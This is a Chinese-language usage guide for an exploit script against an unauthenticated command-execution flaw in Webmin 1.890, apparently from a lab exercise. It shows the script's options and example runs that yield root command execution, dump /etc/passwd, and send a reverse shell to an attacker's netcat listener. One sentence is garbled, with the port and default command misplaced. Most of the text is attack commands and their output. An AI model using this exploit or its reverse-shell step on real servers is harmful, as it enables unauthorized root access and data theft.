该脚本用于利用 Webmin 1.890 中的未认证命令执行漏洞。它允许您在目标 Webmin 服务器上执行任意命令或获取反向 Shell。
该漏洞利用工具需要 5 个参数:
$ python3 test.py -h
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]
Exploit unauthenticated command execution in Webmin 1.890.
options:
-h, --help show this help message and exit
required arguments:
-i IP Address, --ip IP Address
Target ip address
optional arguments:
-p Port number, --port Port number
Webmin port(default=10000)
-c Command, --command Command
OS Command to execute (Default=id)
--shell Get a reverse shell
-x, --proxy Sends requests through Burp Suite proxy at 127.0.0.1:8080.
Example:
python exploit.py -i 192.168.1.100
python exploit.py -i 192.168.1.100 -p 10000 -c whoami
python exploit.py -i 192.168.1.100 -x -c "ls -la"
python exploit.py -i 192.168.1.100 --shell
唯一必需的选项是 -i,即目标 IP 地址。
仅使用 -i 运行漏洞利用程序会在位于端口 的目标上执行命令
10000id$ python3 exploit.py -i 10.200.105.200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
您可以使用 -c 或 --command 选项指定要执行的命令:
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
您还可以通过使用 --shell 选项来获取反向 Shell。
系统将提示您输入 IP 地址和监听端口:
$ python3 exploit.py -i 10.200.105.200 --shell
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]#
通过添加 -x 或 --proxy 选项,您可以通过位于 127.0.0.1:8080 的 Burp 代理发送请求。